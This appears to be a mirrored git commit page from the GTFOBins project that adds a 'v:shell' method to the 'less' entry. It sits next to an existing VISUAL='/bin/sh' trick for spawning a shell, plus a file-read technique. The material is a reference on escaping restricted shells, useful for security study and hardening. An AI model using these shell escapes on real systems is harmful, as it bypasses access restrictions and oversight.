mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add vi(m)-style shell spawning to the less binary
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
182c5d3b48
commit
3f03bc2af9
@ -7,6 +7,9 @@ functions:
|
||||
- code: |
|
||||
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
|
||||
v
|
||||
- code: |
|
||||
less /etc/profile
|
||||
v:shell
|
||||
file-read:
|
||||
- code: less file_to_read
|
||||
- description: This is useful when `less` is used as a pager by another binary to read a different file.
|
||||
|
Loading…
Reference in New Issue
Block a user